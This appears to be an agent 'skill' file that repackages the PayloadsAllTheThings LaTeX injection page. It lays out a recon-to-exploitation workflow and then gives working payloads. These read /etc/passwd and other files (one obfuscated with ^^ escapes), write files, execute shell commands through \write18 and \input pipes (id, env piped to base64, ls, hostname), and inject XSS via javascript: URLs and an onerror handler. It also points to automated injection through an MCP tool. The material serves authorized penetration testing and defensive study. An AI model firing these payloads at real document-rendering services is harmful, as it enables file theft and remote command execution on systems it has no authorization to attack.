LaTeX Injection Payloads

Source: PayloadsAllTheThings/LaTeX Injection Category:

payloads-injection

| Skill ID:

payloads-latex

Overview

Workflow

1. Recon & Identification

• Identify the target technology stack and injection points
• Enumerate endpoints, parameters, and input vectors
• Determine applicable payload categories from the reference below

2. Payload Selection

• Browse the PATT payload library for the attack class
• Select encoding-appropriate payloads for the target environment
• Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

• Test payloads in order: passive → active → escalation
• Document every payload tested and its response
• Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

• Confirm the vulnerability with a clean minimal PoC
• Map findings to CVE/CWE where applicable
• Report with remediation recommendations and code fixes

Full PATT Reference

LaTeX Injection

LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.

Summary

• File Manipulation
  • Read File
  • Write File
• Command Execution
• Cross Site Scripting
• Labs
• References

File Manipulation

Read File

\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

\usepackage{verbatim}
\verbatiminput{/etc/passwd}

\usepackage

\input

$

#

_

&

\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}

• ^^41 represents a capital A
• ^^7e represents a tilde (~) note that the ‘e’ must be lower case

\lstin^^70utlisting{/etc/passwd}

Write File

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile

Command Execution

\immediate\write18{id > output}
\input{output}

\verbatiminput

\immediate\write18{env | base64 > test.tex}
\input{text.tex}

\input|ls|base64
\input{|"/bin/hostname"}

Cross Site Scripting

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}

Labs

• Root Me - LaTeX - Input
• Root Me - LaTeX - Command Execution

References

• Hacking with LaTeX - Sebastian Neef - March 10, 2016
• Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018
• Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016

REA MCP Integration

// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.